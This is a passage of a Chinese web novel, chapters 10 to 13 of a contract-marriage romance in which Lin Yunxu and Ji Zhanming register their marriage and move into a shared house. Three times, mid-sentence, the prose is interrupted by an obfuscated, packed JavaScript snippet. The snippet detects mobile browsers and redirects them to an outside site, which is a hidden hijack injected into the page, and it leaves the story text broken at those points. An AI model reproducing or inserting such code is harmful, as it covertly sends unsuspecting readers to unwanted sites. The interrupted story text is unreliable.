林云序慢条斯理又一本正经地反驳,“错,问题不在于是否是直男,在你是单身,谢谢。” 俞璟风:“……” 说完,林云序就听到电话那边俞璟风遥远的声音呼喊:“爸!妈!你们的宝贝大外甥骂我!” 林云序没忍住垂头笑了下,他放下小铲子,起身准备往水壶里灌点水。 刚一转身,就看到了站在门边的季盏明和林章。 林云序:“……” 空气瞬间安静了下来,死一般寂静。 10. 第 10 章 一时间,只有电话那边的俞璟风在大声呼喊:“喂?喂?喂!还在吗?” 可能不在了…… 林章一副欲言又止、欲说还休的神色,林云序看明白了。 三分不知道从哪里吐槽比较好、三分恨恨他不争气是下面的、还有四分悔恨替他拦人遮掩失败。 但观晸集团大名鼎鼎的季总好涵养,单手插兜面不改色地开口:“饿了吗?阿姨让我来叫你吃饭。” 林云序的脑壳好痛,在最熟悉的环境里,是他大意了。 他刚刚口出了什么狂言来着? “……” 林云序脑子里飞过无数个“完蛋”,匆匆回复俞璟风:“有事,挂了。” 将电话挂了后,他清了清嗓子,“哦”了一声。 然后波澜不惊——起码表面上是这样,放下浇水壶朝着两人走去。 他这人最擅长的就是心绪从不摆在面上,不管发生了什么事,都能做出一副风轻云淡、斯文从容的模样。 这种时候,最好什么都不要说。 不要辩解,不要故作洒脱地提起,更不要用自以为所谓的高情商方式来试图圆补,一般越补越尴尬。 敌不动,我不动,不能自乱阵脚。 林章明显熟悉他这一套处世流程,顺着转移话题道:“你今天都没有吃多少,也是该饿了。” 林云序朝着季盏明弯了弯眉眼,一边不动声色地观察他的神情。 “你撞大运了,今天我妈难得亲自下厨,做了一道她的拿手菜,等下好好尝尝。” 季盏明神色平和:“我的荣幸。” “知道就好。”林云序的声音带着笑意。 正准备进入到室内的时候,手腕被人轻轻拉了下。 林云序心里咯噔了一下,扭头看向身边的人。 好在对方刚来时在家门口的行为给他留下了深刻的印象,以致现在他仍牢记着不要躲避对方的肢体接触。 但突然碰一下,还是挺意外的。 男人什么都没有说,只是拿出手帕将他手指上蹭到的泥土擦拭干净。 林云序静静地看着对方低垂下的眉眼,直到对方再次抬起头。 “好了,进去吧。” 林云序松了口气,轻轻“嗯”了一声。 走在前面的林章看到了这一幕。 虽然季盏明给人擦完手后就放开了,但两人的距离已然拉近了很多,行走低语间,胳膊和手肘互相挨蹭着。 因为妻子的职业属性,为了不落伍,林章平时上网也不少。 但现在他突然觉得自己是不是冲浪把脑子冲坏了。 他看着这两人,尽管他们之间没有年轻小情侣的那种黏糊亲密与热烈,他却突然领会到了网友说的父母爱情是什么感觉。 那是一种稳定的、平和的、能承托起所有状况的可靠与信服力。 好似无论遇到什么事都不会争吵,能互相支持、平等交流解决问题。 让人看着就觉得安心,好似无比般配合适。 林章深知他们的感情还没到这种程度,但两个人在一起,散发出来的磁场是很重要的。 他若有所思地收回目光。 林云序是个很自洽的人,再尴尬的事过去就过去了,并不会反复懊恼和反刍。 几人回到用餐厅,俞宜凌和吴姨一起从厨房出来,笑着问道:“让你们叫个人怎么半天才回?” 林云序和林章没吭声,季盏明不慌不忙道:“等云序打完电话。” 一听到林云序打电话,俞宜凌就警惕:“不会是工作电话吧?” “不是。”林云序无奈,“今天的时间我当然空出来了,是璟风的。” 俞宜凌一听就笑了,和季盏明闲侃:“是我娘家那边的侄子,家里几个孩子挺好奇你的,估计找稳稳打听来着。” “都是小孩子心性,喜欢凑热闹,没有恶意,你们同龄,以后说不定还有机会玩在一起。” 季盏明“嗯”了一声,顺其自然的接话:“知道,还听到云序夸我来着。” “哦?”俞宜凌高高扬了扬眉,“夸你什么?” “样貌好。” 林云序:“……” 林章:“……” 俞宜凌倒是心情明媚地笑了出来:“这话实诚,样貌是好。” 说完,她笑意未散地看向云序:“怎么这么安静了?” 林云序似笑非笑地看了眼季盏明,才回俞宜凌的话:“这不是把说话的机会让给您吗?” 说完就被俞宜凌轻轻拍了拍后脑勺。 桌上的菜式很快上得齐全,空气中散发着淡淡的食物香气。 他们家没有吃饭不能说话的规矩。 一家人不急不忙地用着餐,偶尔聊聊天,气氛和谐融洽。 四月中下旬气候宜人,早晚穿外套、白日里穿单件就能够很舒服。 吃完饭后,林云序带着季盏明去湖泊边散步,进行饭后消食。 小区环境极好,拥有着多样的自然资源,一路繁茂绿植高树的大道走到尽头。 转个弯后就是波光粼粼的湖泊,被盛春的阳光铺满了炽亮的金点。 林云序现在的心情还不错。 自公布要结婚以来,除了好奇八卦的,他耳边清净了很多。 老人家那边也不愁了,精神都抖擞了些。 至于父母,一开始存有担忧是正常的。 但放长远来看,一段和谐稳定的关系在某种程度上可以称作“陪伴”,这种陪伴的存在会潜意识里安抚到他们,让他们感到安心。 一个不恰当的比喻,季盏明有点像他留在国内的“人质”。 但林云序得先确认一个重要的问题。 他陡然停下了脚步,转身看向身边的季盏明,男人的脚步也随之停住。 “婚,还结吧?” 季盏明:“……结。” “了解了。”林云序应得干脆利落。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949053|193042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季盏明知道,对方是因为花园里的那番话,确认一下他是否会反悔。 但这人也是真的很自洽,刚刚在餐桌上季盏明故意提到时,对方的神色舒展坦然,情绪并无强烈波动。 现在也不询问季盏明原因,不纠结他对这件事的看法和态度,只在意最终的结果。 当一件事已经发生时,决定一个人形象特点的关键,往往是对方如何处理问题。 对方显然彰显了一种成熟稳定的心态素质以及强大的内核。 所以尽管季盏明对林云序的印象有了一点微妙的变化,却仍不会改变他是最合适优秀的合作对象这一点。 两人沿着湖边散步,周围没有长辈,他们并肩行走时,已然恢复成了正常得体的距离。 不生疏但也一点都不亲密,任谁也看不出这是两个即将要结婚的人。 林云序想了想,还是问出了口:“你刚刚跟我爸妈说你爸妈正在回国的路上,到时候我需要在他们面前展现什么状态?” 当初汤立兰给他介绍季盏明的情况时,倒是有简单提过。 季盏明的母亲是知名钢琴家,艺术地位超然;父亲则是物理学领域的科研人员。 可以说,他们两家称得上各种意义上的门当户对。 汤立兰还说:“这对夫妻也是出了名的恩爱,就盏明一个孩子,自然关怀备至、宠爱至极。” “我和季老爷子住一个小区,曾经见过他们一家人相处,夫妻俩很尊重盏明,我甚至感觉都到了什么都依着他的程度,所以这家庭关系还真不用担心。” 但自商讨婚姻以来,林云序就没有听到对方提过父母。 他自然能察觉到,有些私人原因。 林云序并非没有眼力见的人,所以之前他也没有多问。 只是以后难免会和他们打交道,即将面对什么状况,季盏明总不能一点心理准备都不留给他。 话音落下后,林云序就偏头看向了季盏明。 对方神色平静坦然,没有丝毫变化,更不用说产生异样情绪。 这个问题对季盏明而言似乎并不为难,也没有任何影响。他很快给出了答案: “我母亲常年在世界巡演,父亲大多在实验室,两人都很忙,我们婚后和他们见面不会太多。” “他们会喜欢你的,人也很友善。”说到这里,季盏明的声音顿了下,然后淡淡道,“无论我做出什么选择,他们都会无条件支持,所以你原本的模样就好,不用顾忌什么。” 林云序若有所思地点点头。 乍一听好像汤立兰没夸大,毕竟听季盏明这意思,确实是很好的父母。 但林云序还是觉得有些异样。 只是他对别人的隐私并没有很强的好奇心和探索欲,边界和分寸立在前方。 知道自己该如何面对他的父母后,他就顺势转移了话题。 “好了,最后一件事。” “选个好日子吧,我们可以领证了。” 11. 第 11 章 5月5日立夏,风和日丽,晴空万里。 在劳动节假期的最后一天,林云序和季盏明领了证。 俞璟风和林澄好奇地凑在一起看林云序的结婚证,一边讨论着。 “这照片拍得还挺好看。” 林澄反驳:“什么啊,是我哥好看。” “是是是,其实看着还挺登对。” 林云序有些无奈,他被这两人叫出来吃饭,还特地提醒把结婚证给带上。 “真好奇自己去结一个。” 两人笑着把结婚证还给他。 俞璟风揶揄地看着他:“领证后,你们怎么庆祝的?” 林云序想了想:“嗯……领证出来后,他回公司加班,我回家准备下次会议材料。” 领证的流程简单,在工作人员的引导下,红本本很快就到了手。 林云序全程都没有明显的情绪波动,因为没有意义。 如果一定得找出价值的话,那大概是一本对双方都具有约束力的合同,他们能从其中受益。 于是两人都很平静地一起走出了民政局大门。 那天他们是直接约在民政局门口见的,各自开车过去。 既然都还有事,那自然也是各自开车离开。 俞璟风:“……” 林澄:“……” 俞璟风叹了口气:“我还以为你们至少会一起吃顿饭。” 林云序淡淡笑了下,没多说什么。 林澄问道:“哥,你前阵子不是去他家吃饭吗?他的家人怎么样?” “都还挺好的。” 林云序一去季盏明家见到季爷爷还有些意外,因为他在荣睦私人医院见过。 刹那间他也明白了,为什么当初老爷子会有些好奇又慈和地看着他。 “季盏明说过,他爷爷很喜欢我,老爷子确实很好。” “父母……” 季盏明的母亲名为丘沁,或许是常年在外进行钢琴巡演,浓厚的艺术氛围下浸养出满身的清冷孤傲气息。 但这份有距离感的气质不管是面对他还是季盏明,都软化下来,只余下温和。 季盏明浓颜的五官其实更像父亲,独独一双眼睛生得像母亲,和丘沁如出一辙的冷感。 而季父话不多,但夫妻俩看上去关系很好。 林云序见过自己父母的相处,自然能看得出来他们的亲近不是假的。 和老爷子下完一盘棋后,林云序出去寻季盏明。 “最近身体怎么样?” 听到丘沁的声音,林云序下意识顿住。 “挺好的,没什么问题。” “我听你爷爷说你大部分时间都在工作,还是别太累,马上也要结婚了,和云序那孩子好好过。” “嗯。” 季盏明伴随在母亲身侧,并肩在竹林小道上走着。 态度礼貌有余,亲近不足。 “对了,你觉得我今天对那孩子的态度可以吗?会不会太冷淡了?” “我前阵子在国外拍了块翡翠,你觉得这个当做见面礼行不行?” “等下我想和云序单独说说话,你介意吗?你要是不愿意的话……就算了。” …… “妈。”男人的声音打断了她的温声询问,空气也安静了下来。 再次开口时,嗓音沉抑又无奈。 “请您别总是看我的眼色行事,惟恐我不满意。” 一片寂静中,季盏明似乎也有些疲惫:“也劳烦您转告爸,不要对我小心翼翼,没必要。” 整片竹林没有人再说话,只余下劲风拍打枝叶的簌簌声。 林云序脚步停在原地,最终还是放轻了动作悄然离开。 “父母?父母怎么样啊?” 林澄的声音拉回了林云序的思绪。 林云序若无其事地笑了笑:“他父母对我也挺友善尊重的,没什么问题。” 俞璟风慢条斯理地切着肉,对林澄道:“你就别操那个心了,姑姑姑父只怕更看重,惟恐别人让稳稳不舒坦,既然是同意领证了,自然是没有受委屈的。” 他转而问道:“那以后你们怎么住?” “我和季盏明聊过,决定搬到一处新住所。” 虽然他和季盏明都有私人住处,但他实在不愿意共享自己早已熟悉的私人空间,更不愿侵入他人的领域,很难产生归属感。 推己及人,季盏明应该有类似的想法。 毕竟是以后长期生活的地方,当然得舒服。 “季爷爷正好是建筑师,给了我们很多建议,季盏明已经搬进去了,我前两天忙,明天才搬。” “明天?你明晚不是要飞D国?” “嗯,下午顺路过去放一个行李箱,就去机场。” 俞璟风不由得感叹道:“你们这婚结的。领证完饭都不吃一顿,两天没见面,应该也没联系吧,好不容易要搬到一起了,你转头就出个差,出完差你不会直接去瑞士或伦敦生活吧?” 林云序笑了出来:“不会,最近我没有给自己安排很多工作,应该在国内待得比以前多。” 当然,这个减少工作安排只是相对受伤之前,没有那么极限了。 一个是想养好身体,这次受伤有些损元气,还折腾的话以后就很难补回来了。 再就是决定以后多分些时间给俞宜凌和林章,陪陪他们。 三人吃完聊完后各自开车离开,林云序到家的时候已经是夜深人静。 家里一片寂静,只有玄关和客厅处留着几盏低饱和度的夜灯,在夜色里散发出暖色的光。 林云序顺着楼梯朝上走去,因为是长期生活的家,所以房子里每一寸装潢都是林章和俞宜凌费过心思的。 沿着楼梯的墙面一路顺着向上,挂着符合他们审美的画作或摄影作品。 直至走到最后一级台阶,到了墙面的尽头。 最后一幅“画”,是林章和俞宜凌的结婚证,特地邀请名家装裱。 这些年父母换过几次住所,家具、摆件、格局都有过不一样,只有这裱好的两本结婚证亘古不变。 林云序目光温和地静静看了会儿,手里拿着带给林澄和俞璟风看的红本,边角处轻轻硌着掌心。 窗外的车辆行驶而过,林云序平和地收回目光,转身回到了房间,随手将结婚证放进了抽屉。 - 第二天,林云序开车朝着繁千园驶去,这是新家小区的名字。 周围环境宜人,闹中取静。 进了小区后,林云序的车速放慢了些,一边打量着未来生活的环境。 再转个弯,不远处就是目的地。 突然眼前一道灵巧的影子闪过,林云序一惊,迅速踩下刹车。 “砰”的一声,车辆陡然被推着往前蹿了蹿。 林云序:“……” 他扭头看了眼窗外,那只突然蹿出来的狸花猫顽皮地跃到一旁的高墙之上,甩着尾巴舔着毛扬长而去。 林云序无奈地叹了口气,有些头疼地下了车。 前面的车辆突然停下,崔松源毫无准备地撞了上去,脑袋一下子磕到了方向盘。 蓝牙耳机里传来男人清冷理智的声音:“出什么事了?” “盏明,出了点意外,等一下。” 说完崔松源就红着脑门气势汹汹地下了车:“你……” 一句完整的话还没说完,视觉上已经先一步捕捉到从驾驶位上下来的青年。 对方穿着一件浅色的休闲衬衫,迎风走来时柔软的布料勾勒出清瘦高挑的身形。 漆黑的发随风向后掠去,随着墨镜被勾住横梁扯下来,彻底露出了清晰绮丽的眉眼。 话头陡然一转—— “……没事吧?” 林云序站在两辆车的追尾处,正微微弯腰看着追尾情况,然后拿出手机录像存证。 听到问候后,他眼尾很轻地挑了一下眉,看向面前的男人。 “不好意思,刚刚有猫蹿了出来,我才紧急刹车。”林云序知道自己不是主责,“但先生你这行车距离很有问题吧?” 崔松源挥挥手:“当然,我的责任。” 林云序:“……”他也不想再耽误时间,与对方协商道,“车辆损坏不算严重,我们私了?” 崔松源正要开口说话,就听到未取下的蓝牙耳机里响起男人的声音: “你正在开屏的对象。” “啊?” 话音落下,就听到耳边隔着电流的声音和不远处现实的声音重合:“刚刚不是一直追问我的结婚对象是谁吗?你面前这个。” 崔松源:“……” 他像见了鬼一样,看向从别墅里出来的男人,又看向面前的青年,反复打量。 林云序听到季盏明的声音,有些意外地回头看了眼。 季盏明挂掉电话,走过来看了看两辆车的情况:“先把车开到我那里。” 车辆停好后,季盏明到后备箱帮林云序把行李箱拿出来。 里面有两个行李箱,还有个是林云序出差用的,他提醒道:“拿白色的。” 季盏明应了声。 他大概知道林云序今天会过来,只是不知道具体时间,这栋房子也是对方的住所,没必要向他报备。 没想到竟和崔松源碰到了一起,还出了一桩小意外。 三人进入屋子后,季盏明才正式介绍他们。 “崔松源,我朋友,也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949054|193042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观晸的另一位合伙人,今天过来给我送资料。” 说着,他向崔松源示意了一下身边的人:“林云序,我的结婚对象。” 林云序笑着和崔松源握了一下手:“崔总,久仰大名。” 虽没有见过,林云序却对这号人物有基本了解。 崔松源家里是做生意的,本人也是读的商科,有着很强的商业背景和资源,早年间与掌握技术和创新能力的季盏明一拍即合。 整个观晸集团,占股最多的也就是面前二位,公司由他们俩一手创立。 大多想好好研发产品的科研人,最后都会发展为首席执行官。 因为只有拥有了决策权,才能握住方向盘去发展自己想要的方向。 可崔松源坐在CEO的位置上,季盏明仍能自由专心研究产品,没有半分掣肘和桎梏。 要么就是他已经强势到架空了崔松源,虽不在其位,却能行其职。 要么就是二人的合作有着绝对的信任和尊重,崔松源不干涉季盏明的想法。 今日一看,大概是后者。 林云序对这二人的友情程度有了基本判断。 崔松源也笑道:“林先生,我也久仰大名。” “不会久仰的是我妈的大名吧。”林云序坦然开玩笑道。 他并不介意别人认识他是因为俞宜凌,成为俞宜凌的孩子,是很值得自豪的事。 “哪儿能啊,是在科技峰会上通过同传接收耳机久仰的,有时候的翻译简直是如听仙乐耳暂明,逻辑清晰、用词精准。” “后来打听了下,仙乐那趴就是林先生的,然后迅速通知了我的秘书,以后有相关合作第一个就请林先生。” 虽然刚刚追尾时这人看上去不着调,但林云序绝不会轻视。 作为把观晸管理扩展至今日规模的功臣之一,城府和实力不可小觑。 对方有没有出席过林云序参与的同传会议还真不一定,但话说的是真好听。 八面玲珑,通达思捷,擅长与人打交道。 确实很适合处在集团现在的位置上。 听着两人客套来客套去,漂亮话一箩筐式的社交模式,季盏明头都疼了。 他及时打断道:“我的资料呢,给我后你就可以……走了。” 崔松源知道,如果不是林云序在,他大概是要说“滚”。 脑子里转了几个弯,脸上已经带上了笑意:“林先生,有件事我得先解释清楚啊。” “我是直男,铁直。” 林云序不知道话题怎么转到了这个上面,但淡然回应:“嗯。” “但是吧,我这人肤浅,喜欢欣赏好看的人和事物,纯欣赏,刚刚在外面绝对没有别的意思。” 林云序点了点头,别人看他的目光是什么含义,他大概还是能感受到的:“崔先生磊落。” “可有人啊,知道我是直男,却还说我在开屏,为什么会这么觉得,只有他自己心里清楚啰。” 季盏明:“……” 他刚刚就应该直接让他滚。 林云序低声笑了出来,这位崔总真是个妙人。 但他也就随便一听,并不把对方暗示季盏明吃醋放在心上。 因为不存在这回事儿,对方才拿出来大大方方开玩笑。 崔松源小小报复了回去后,才正经了些:“林先生,刚刚听你说,你等会儿要出差,那不介意我留在这里吧,我有些事找盏明。” “不介意,你直接叫我名字就行。” 崔松源爽快道:“行,盏明的另一半也是我朋友,你也叫我名字吧。” 季盏明也没再赶他,对方是个极有眼力见的人,如果不是真有事,不会还待在这里。 季盏明带林云序上楼放行李。 崔松源无聊,跟着他们一起上楼,顺便参观一下友人的新居。 林云序有自己单独的房间。 这点他特意向季盏明提过,他需要个人空间。 倒不是说以后一定分房睡的意思,只是因为时差问题,他夜里可能会有工作电话,或者出差半夜才回来。 那么干脆就回自己房间,不打扰对方了。 再就是他不知道季盏明的睡觉习惯,睡不下去还不是得单独睡。 崔松源礼貌停在房间门口没再往里走,但门敞着,他一眼就看清了这房子的大致格局,不由得挑了一下眉。 这个350平的大房间是双主卧设计,也就是说,季盏明和林云序共用一个卫生间和淋浴间。 且两个卧室之间是一个简易横推门,打开就可以变成一个完整的大卧室。 意思是,吵架吵得再凶,也会穿着睡衣在卫生间感受到对方的气味,以及……残留的水汽。 12. 第 12 章 察觉到崔松源眼神的示意,季盏明看了眼正在缓缓踱步参观的林云序,走到崔松源身边:“怎么了?” 崔松源小声好奇道:“你俩什么情况?” 原本他们俩住得不算远,当年一个地产公司的朋友开发新小区,他们看环境不错,就在那里购置了不动产。 所以崔松源很快就察觉到季盏明搬了家。 这一问,才知道好友结了婚。 崔松源差点没跳起来,毕竟认识了这么多年。 “怎么就突然结婚了?!我怎么一点苗头都没有抓到?” 虽然季盏明和林云序不算隐婚,但是低调为主,别人不问起来他们也不会主动提。 崔松源和他关系近,人又精明,就算不提也能察觉。 季盏明也就没有瞒,只是婚姻真实情况等更多细节不会提及,避免生是非。 他不说话,崔松源立马意识到有些隐情,于是也不再深究。 “行,这个我不问,那结婚对象是谁,我总有一丁点资格知道吧?” 季盏明还没来得及告诉他答案,一桩追尾事故就把故事的另一位主人公和答案送到了面前。 虽然婚是结了,但以崔松源对好友的了解,感情大概是没有的。 所以面前这套房子就很有说头了。 “这房子你选的?” “我们俩一起选的。” 这是个什么意思?崔松源一时有些惊讶。 季盏明有些头疼地捏了捏眉心:“在我爷爷建议的房子里选的。” 老爷子是专业顶级的人物,不仅能从实用性、屋内动线上给他们讲解清楚,还拥有着超前的审美。 他不跟风、也不追求大众化,以多年下来依然能够经典永恒的长远目光给他们分析。 ——独独没有讲双主卧设计这件事。 季盏明其实没什么要求,但林云序明显是个讲究人。 老爷子说得让人心动,何况他又不是房产销售,还能坑自家人不成。 于是两人很放心地听从了老爷子的意见。 崔松源:“……”他没忍住笑了出来,“你是先搬过来的,没和林云序说?” “说了。” 他来新家后,一看到就给林云序发了消息,询问对方的意见。 “他怎么说?” “或许是猜到了爷爷的心思,不好拂他老人家的面子,他让我在两个主卧中选一个。” 这个答案其实在季盏明意料之内。 两人还不至于在这种事上扭捏到非要换房子,或者让其中一人放弃已有的更好环境,退让去客房住。 只是问还是得问的。 于是一人客观告知情况,另一人直接给出答案就定了下来,干脆直接。 崔松源笑得肩都在抖:“老爷子可真行,这不管你们熟不熟,起码都增加了见面的几率吧,早晚的洗漱,总有撞见的时候。” 季盏明神色平静,不置可否。 别墅的面积大,自然是不止一个卫生间。 但也正是因为房子大,如果出去用别的卫生间,长期下来会很不方便。 还是那句话,没必要扭捏,一个卫生间而已。 “撞见了又怎么?脑子是有多不干净,才会一个卫生间就产生遐想,这只是一个清洁洗漱的区域。” 男人的声音冷淡疏离,甚至带有几分漠然。 崔松源:“……”他朝人竖了下大拇指,“你清高,我等着。” “在聊什么?” 以防衣服变皱,林云序刚刚在衣帽间把行李箱里的衣物挂了起来,刚整理结束。 崔松源笑了笑:“在聊这房子的动线和装修。” 林云序点点头,本就是随口的问题。 “对了,我需要一间书房。” 季盏明带着林云序出门,顺便带他熟悉了一下整个房子,最后到达书房。 青年一边仔细观察着室内,一边在手机上打字。 从刚刚在卧室起,对方就一直在记录些东西。 “有什么问题吗?”季盏明问道。 林云序打完最后一个字,才抬起头笑道:“有些不符合我生活习惯的地方,我出差时可能会找人来处理下。” 这样他回来后,就能有一个舒服的环境。 说着,他向人解释:“放心,不会动装修,只是在我的房间和书房有一点小改变。” 季盏明想了想,对方到时候大概得隔着距离和时差联系人过来进入房子,也得提前告知他时间。 不管是陌生人进室内,还是被通知什么时候,他似乎都是被动的。 倒不如他这边来处理,反而更简单方便些。 “你要改哪里?” 听懂了他的意思,林云序有些讶异地挑了一下眉。 他缓缓点了点头:“行,那我就不客气了。” “先说说我的卧室吧,一进去后侧墙上那副人体艺术画像换掉,我不喜欢卧室内有人像,极简单色画或自然主题就好。” “然后窗帘,真丝窗纱换成透光亚麻,主帘米白不错,但燕麦色会不会更不错?” “床品我常用的品牌是Frette,床垫换成Vispring,我有偏好的定制硬度,到时候会发给你。” “刚刚我把我房间里的香氛系统关了,那个味道我闻着有些晕,我的调香师会联系你,包括衣帽间的香氛他会一起调整。” “还有一些灯光、摆件等细节,比较琐碎,稍后直接提供给你文字版。” “至于书房……” 林云序缓缓踱着步,走到书桌边说着想要的方位、离落地窗的距离等等,身形随着他的要求而慢慢移动示意。 崔松源听的头都大了,瞧人家贵公子,就是不一样,多讲究。 他暗暗看了眼不远处的季盏明,男人身形高大,侧肩轻倚着门框,静静地听着。 没有明显的表情变化,也就看不出他心里是如何想的。 林云序也在不动声色观察他的神色,他其实一直在等对方打断自己。 但他没有说话,林云序也就只能将自己那些琐碎的要求说完,零零总总加起来还真的不少。 结束后,林云序看向季盏明,听到男人开口道: “就这些了?” 林云序:“……” 崔松源:“……” 见人没有说话,季盏明再问了一遍:“还有没有补充?” “没有。”林云序确认道,“真的要帮我处理?” “需求很简单,我不会有疏漏。”季盏明慢条斯理道,“你要是实在不放心,自己处理也行,但未知的人在未知的时间进入家里,我会觉得被打扰。” 不知道为什么,林云序蓦地笑了出来,他哪里是不放心的意思。 “我是觉得会不会太麻烦你?” 季盏明眼尾轻轻动了下,他不是什么迟钝到不通俗事的人。 只是他确实觉得简单,自然也就没有第一时间往麻烦方面想。 对方所有的需求都很清晰明了,品牌、尺寸、样式,甚至距离都给出了具体的米数,极其明确。 如果说的是“这个光让我眼睛不舒服”、“桌子放在这里好像有些奇怪”这样抽象模糊的概念,才是真的麻烦。 “不会。” 林云序看了他一会儿,然后缓缓走到人的面前:“其实我说麻烦是假的,我也一点都不觉得麻烦。” 那些要求看似一箩筐,琐碎无比,事实上,根本不需要季盏明多做什么。 明确清单后,只需要交给一位专业工作人员,就能迅速处理好,而清单,林云序刚刚自己就在便签上记了。 崔松源本来在一旁静静地看戏,这话一出,他眼神都变了下。 他一开始也觉得奇怪,林云序这么一个高情商的人,要是真觉得麻烦的话,还会对一个关系没多亲近的对象提出这么多要求吗? 原来那句“麻烦”是站在另一人的视角上客气一下的,这就是一个给双方的台阶。 但凡季盏明有一丝负面的情绪,林云序就会收回自己提出的所有东西。 不折损他自己的得体。 而在密集和看似复杂繁乱的信息下,也能试探出季盏明第一时间的思维模式和对他的态度。 这将一定程度上加深对对方的了解,也决定他们以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949055|193042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后能不能走得更近些。 崔松源暗自“啧啧”了两声,季盏明以后的日子精彩了。 崔松源能看得明白的问题,季盏明自然也能看透。 明白过来后他也并不意外,要是真小心翼翼既担心麻烦他,又一边继续提出要求,那就不是林云序了。 对方不会有那么多敏感的情绪,就算让人替他做事,也会是坦荡的提出,且思虑周全、让人心甘情愿地为他做。 林云序笑道:“你这个反应倒是让我气短了些。” 一开始他提出要调整自己的卧室和书房时,其实不是征求意见,是在告知。 两人共同居住的这套房子,林云序当初坚持出资一半,为的就是能够拥有理直气壮随意支配自己空间的底气。 他自己的需求和感受同样非常重要。 他轻声道:“不用你另外联系工作人员了。” 这一刻,季盏明才真的有些意外,话都说到这份上,按理来说,对方没有拒绝帮助的理由。 林云序眼里的笑意加深:“别误会,麻烦我的新婚对象在有时间的时候联系一下吴姨,可以吗?” “跟她说一声,让她帮忙调整一下我的书房和卧室,后面就都交给她,她知道该联系哪些人,也很熟悉我的生活习惯。” “吴姨不算生人,她过来你应该不会太抗拒吧?” 季盏明倚着门框,眼睑微微下垂,看着面前的青年。 看,多聪明周全的人。 如果季盏明不提帮忙,他也一开始就想好了合适的方案,甚至还考虑到了他不喜生人擅自进入。 在自己提出替他处理时,对方又迅速察觉他的需求——掌握主动权,而不是在未知的时间里被通知会有人进入他们的房子。 于是及时调整,让他按照自己方便的时间去联系吴姨,同时还承了他的情,不让他主动提出的帮忙落空。 “可以是可以,但你有没有想过一个问题?” 林云序愣了下:“什么?” “调整书房不是什么问题,但在一个双主卧设计的房子里,你大张旗鼓地让她将房间收拾成一个只有你的痕迹和特色的房间。” “是要让吴姨回去告诉你爸妈,我们刚结婚就要分房睡?” 林云序:“……” 他发现这人每次都能成功地找出他思路中的漏洞,并加以利用。 “那你就跟吴姨说声,你对我好,我们一起睡的房间喜好都依着我来,你没什么要求。” 季盏明点点头:“那这就是另外一个请求了,你该怎么跟我说?” 不介意对方的试探是真的,但不能白白被试探一番,也是真的。 林云序:“……” 崔松源:“……” 明明知道这两人没有感情,但总觉得自己像个傻逼,不该待在这里更是真的。 他悄然转身离开。 林云序脸上笑容不变,牙关却暗自咬紧了下。 周围没有观众后,他才缓缓开口:“拜托季先生帮个忙,好好向吴姨说明,谢谢。” 季盏明眼里划过微不可察的笑意,从容点了一下头,彬彬有礼道: “不客气,应该的。” 林云序真是服了,看着面前西装革履、一本正经的男人:“休息日你在家穿西装打领带干嘛?” “早上出了门,等会儿还有事要出去。” 林云序心里琢磨着迟早得寻个机会找回场子,现在没时间和对方掰扯了。 “我还要去机场,走了。” “等一下。” 林云序以为对方还没逗够,差点没能管理好表情。 还没来得及开口说话,手心就被放了一把车钥匙。 林云序愣了一下,听到男人平静的声音:“开我的车。” 差点忘了,他自己的车被追了尾。 不知怎的,心口那股因暂落下风而产生的淡淡的恼蓦地就散了。 “车就停在机场留给你,回国的时候开回来。” 林云序抬头看了看面前的男人,最后伸出手,轻轻勾住对方规整的领带尾尖,向下一扯。 “知道了,回见。” 13. 第 13 章 “你都出差几天了?!” 俞宜凌的声音隔着电话响起。 林云序缓缓走在异国的街头,理直气壮:“15天。” “什么会议要开15天!” “也不止一场会,我现在在F国。” 俞宜凌:“……” 她下意识地看了看时差,以防一通电话打扰到对方的睡眠。 前阵子林云序受伤在家休假了两个月,几乎天天都能见到儿子的幸福生活,差点让她忘了,正常情况下,林云序是一个很难联系到的人。 有时候是林云序会主动向她和林章报备,自己正在哪个国家。 但忙狠了,也会忘记或来不及。 常常这两天在一个地方,过两天就换了一个国家。 夫妻俩很少直接打电话给他,就是担心对方现在去了一个未知的城市,换了一个未知的时差,将对方好不容易能休息的时间打破。 而因为时差和距离,不能时时刻刻对应上时间。 就算是白天,林云序也有可能在工作。 算出F国现在是白天,俞宜凌才松了一口气。 “那你现在还在忙?” “没有,和朋友出来喝杯咖啡,休息一下。” “什么时候回来,你是不是忘记你已经结婚了?” 林云序的脚步停下,他和季盏明联系不多,不特意提起,他还真没想这回事。 但口里反驳道:“哪儿能啊。” “三天后工作差不多能结束,我立马就回去。”身边一家礼品店闯入他的眼帘,“我正准备买礼物哄哄他呢。” 西里尔听到这句话顿了下,下意识看向身边的青年。 